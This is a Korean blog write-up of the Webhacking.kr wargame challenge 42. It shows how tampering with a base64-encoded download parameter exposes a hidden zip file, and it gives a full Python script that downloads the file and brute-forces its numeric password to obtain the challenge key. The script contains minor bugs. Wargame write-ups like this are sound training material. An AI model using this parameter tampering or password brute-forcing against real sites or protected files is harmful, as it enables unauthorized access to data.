관리 메뉴

Hax0r

[풀이] Webhacking.kr 42번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 42번 문제

영준이 2017.09.04 16:04

42번 문제는 스코어 200에 해당 하는 문제이다.

생각나는대로 아래 파이썬 코드를 구성하여 문제를 해결했다.

파이썬 3.5 환경에서 구동한 상태이니, 이 점 착안 바란다.


문제를 보면 게시판과 같은 형태로 보이고, 레코드가 두개 있고 두개의 레코드 필드에 파일명과 하이퍼링크가 기재되어있습니다.

down이라는 파라미터에는 base64로 인코딩된 값이 기재되 있었습니다.

일전에 base64를 구분하는 법에 대하여 포스팅 한 적 있으니, 참고 하시면 본 문서를 보시는데도 도움이 되실 것 같습니다.

  • 2 데이터를 ASCII형태의 텍스트로 표현가능
  • Web 인증 기본 인증에 사용
  • 부분의 padding(==)으로 식별가능
  • 64개의 문자를 사용(영문 , , 숫자, +-)
  • 데이터를 6bit단위로 표현

첫 번째 레코드 파일명인 `test.txt` 를 보면, 페이지를 리다이렉트 하며 딱히 영양가 없는 텍스트를 출력하고 끝납니다.

두번째 레코드인 `test.zip` 파일은 하이퍼 링크 클릭 시, 클라이언트 단에서 알림창과 함께 이후 프로세스를 진행하지 않습니다.

따로 페이지를 참고해도 본 파일의 링크는 기재되어있지 않습니다. 따라서 첫번째 레코드의 파라미터 값에 `test.zip` 을 Base64 로 인코딩하여 요청해봅니다.


다행히도, 요청한 주소에 파일이 존재했네요.

zip 파일을 열고 다운 받으려하니, 으음... ?

파일이 암호화되어있습니다.


다시 한번 문제 파일의 소스를 보니 아래와 같이 주석처리 되어있는 힌트를 발견했습니다.

test.zip password is only numbers


여기서 생각나는 건 Brute Force 군요.

최소값과 최대값을 정의하여 지속적으로 패스워드를 질의하고, 이 후 일련의 프로세스가 시작된다면 이를 패스워드로 간주하고 loop를 멈춥니다.

이렇게 해서 간단히 패스워드를 구했고, 문제를 해결했습니다.


본 문서의 소스 코드는 포스트에도 기재하겠지만, 다른 문제들의 풀이들도 참고하시면 좋겠다 싶어 현재 제가 관리하고있는 Github 저장소 링크를 공유합니다.

https://github.com/webhacking/War-games






import re

import requests

from requests import get

import zipfile

import urllib.request

import os


''' 세션 '''

PHPSESSID = ""

URL = "http://webhacking.kr/challenge/web/web-20/index.php"

DOWN_LOAD_PARAM = '?down=dGVzdC56aXA='


cookies = {

    'PHPSESSID' : ''

}


if os.name == 'nt':

    import ctypes

    from ctypes import windll, wintypes

    from uuid import UUID


    ''' ctypes GUID copied from MSDN sample code '''

    class GUID(ctypes.Structure):

        _fields_ = [

            ("Data1", wintypes.DWORD),

            ("Data2", wintypes.WORD),

            ("Data3", wintypes.WORD),

            ("Data4", wintypes.BYTE * 8)

        ]


        def __init__(self, uuidstr):

            uuid = UUID(uuidstr)

            ctypes.Structure.__init__(self)

            self.Data1, self.Data2, self.Data3, \

                self.Data4[0], self.Data4[1], rest = uuid.fields

            for i in range(2, 8):

                self.Data4[i] = rest>>(8-i-1)*8 & 0xff


    SHGetKnownFolderPath = windll.shell32.SHGetKnownFolderPath

    SHGetKnownFolderPath.argtypes = [

        ctypes.POINTER(GUID), wintypes.DWORD,

        wintypes.HANDLE, ctypes.POINTER(ctypes.c_wchar_p)

    ]


    def _get_known_folder_path(uuidstr):

        pathptr = ctypes.c_wchar_p()

        guid = GUID(uuidstr)

        if SHGetKnownFolderPath(ctypes.byref(guid), 0, 0, ctypes.byref(pathptr)):

            raise ctypes.WinError()

        return pathptr.value


    FOLDERID_Download = '{374DE290-123F-4565-9164-39C4925E467B}'


    def get_download_folder():

        return _get_known_folder_path(FOLDERID_Download)

else:

    def get_download_folder():

        home = os.path.expanduser("~")

        return os.path.join(home, "Downloads")


def findPassword(password,targetPath):


    targetFile = targetPath + '/test.zip'

    zipFile = zipfile.ZipFile(targetFile)

    solvedPassword = None


    try:

        ''' 아스키로 치환해야했능가... '''

        ''' https://stackoverflow.com/questions/32074883/escape-exclamation-mark-python '''

        zipFile.extractall(path = targetPath, pwd=str(password).encode('ascii'))

        solvedPassword = password

    except:

        pass


    return solvedPassword


def main():

    print(

        """

        +------------------------------------------------------+

        |         { webhacking.kr 42 challenge }               |

        |  Created By      : a@hax0r.info (Woo YoungJun)       |

        |  Blog            : blog.hax0r.info                   |

        |  Repository      : github.com/webhacking/War-games   |

        +------------------------------------------------------+ 

        """

    )


    response = requests.post(URL + DOWN_LOAD_PARAM, cookies=cookies)

    fileDirectUrl = ', '.join(re.findall(r'href=[\'"]?([^\'" >]+)', response.text))


    if fileDirectUrl:

        print('Find your file direct link')

        print('Start down load origin is ' + URL.replace('index.php', '') + fileDirectUrl)


        downloadPath = get_download_folder() + '/webhacking42'


        if not os.path.exists(downloadPath):

            os.makedirs(downloadPath)


        print('Here is your download path ' + downloadPath + '/test.zip')

        urllib.request.urlretrieve(URL.replace('index.php', '') + fileDirectUrl, downloadPath + '/test.zip')


        print('And then we are figure out this zip file password')


        ''' 문제에 기재(test.zip password is only numbers) 되었 , 숫자형으로 알고 최소값과 최대값을 정의하여 패스워드를 알아보자 '''

        for i in range(0, 1995):

            filePassword = findPassword(i, downloadPath)


            if filePassword is not None :

                print('Find zip file password is : ' + str(filePassword))


        lastKey = ''

        for root, dirs, files in os.walk(downloadPath):

            for file in files:

                if file.endswith(".txt"):

                    with open(os.path.join(root, file), 'r') as myfile:

                        lastKey = myfile.read().replace('\n', '')

        if lastKey is '' :

            print("Can't readed last key TT..")

            return false


        lastKeyResponse = requests.get(lastKey, cookies=cookies)


        print('Find your last auth key ! See the below')

        print(lastKeyResponse.text.split('Password is')[1].replace(' ',''))


if __name__ == '__main__':

main()




저작자 표시 비영리 변경 금지
신고